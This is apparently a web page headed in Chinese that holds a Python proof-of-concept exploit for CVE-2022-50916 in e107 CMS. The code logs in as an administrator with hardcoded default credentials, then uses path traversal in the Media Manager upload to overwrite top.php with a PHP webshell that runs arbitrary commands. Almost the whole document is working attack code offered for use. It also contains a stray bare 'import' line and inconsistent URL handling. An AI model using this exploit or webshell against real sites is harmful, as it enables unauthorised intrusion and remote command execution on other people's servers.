CVE-2022-50916 e107 CMS Media Manager文件上传漏洞导致服务器文件覆写

import requests import sys from bs4 import BeautifulSoup # CVE-2022-50916 PoC - e107 CMS Media Manager File Upload to Override # Target: e107 CMS 3.2.1 # Vulnerability: Authenticated admin can override server files via Media Manager import TARGET_URL = "http://target.com/e107_admin/media.php" # Modify target URL USERNAME = "admin" PASSWORD = "admin123" def get_csrf_token(session, url): """Extract CSRF token from the login page""" response = session.get(url) soup = BeautifulSoup(response.text, 'html.parser') token_input = soup.find('input', {'name': 'auth-token'}) return token_input['value'] if token_input else None def login(session, username, password): """Login to e107 CMS as admin""" login_url = f"{TARGET_URL.replace('/media.php', '/index.php')}" csrf_token = get_csrf_token(session, login_url) login_data = { 'username': username, 'userpass': password, 'auth-token': csrf_token, 'login': 'login' } response = session.post(login_url, data=login_data, allow_redirects=True) return 'admin' in response.text.lower() or response.status_code == 200 def exploit_file_override(session): """Exploit the file upload vulnerability to override server files""" # Malicious PHP file content (webshell) malicious_content = b"<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>" # Target file to override (top.php in web root) target_file = "top.php" # Upload endpoint with manipulated path parameter upload_url = f"{TARGET_URL}?mode=main&action=import&upload_path=../../../{target_file}" files = { 'file': (target_file, malicious_content, 'application/x-php') } response = session.post(upload_url, files=files) return response.status_code == 200 or 'success' in response.text.lower() def main(): if len(sys.argv) < 2: print("Usage: python cve-2022-50916.py <target_url>") print("Example: python cve-2022-50916.py http://vulnerable-site.com/e107_admin/") sys.exit(1) global TARGET_URL TARGET_URL = sys.argv[1] session = requests.Session() print("[*] Attempting login...") if login(session, USERNAME, PASSWORD): print("[+] Login successful!") print("[*] Exploiting file upload vulnerability...") if exploit_file_override(session): print("[+] File override successful! Webshell uploaded.") print(f"[*] Access webshell at: {TARGET_URL.replace('/media.php', '')}/top.php?cmd=id") else: print("[-] Exploitation failed.") else: print("[-] Login failed. Check credentials.") if __name__ == "__main__": main()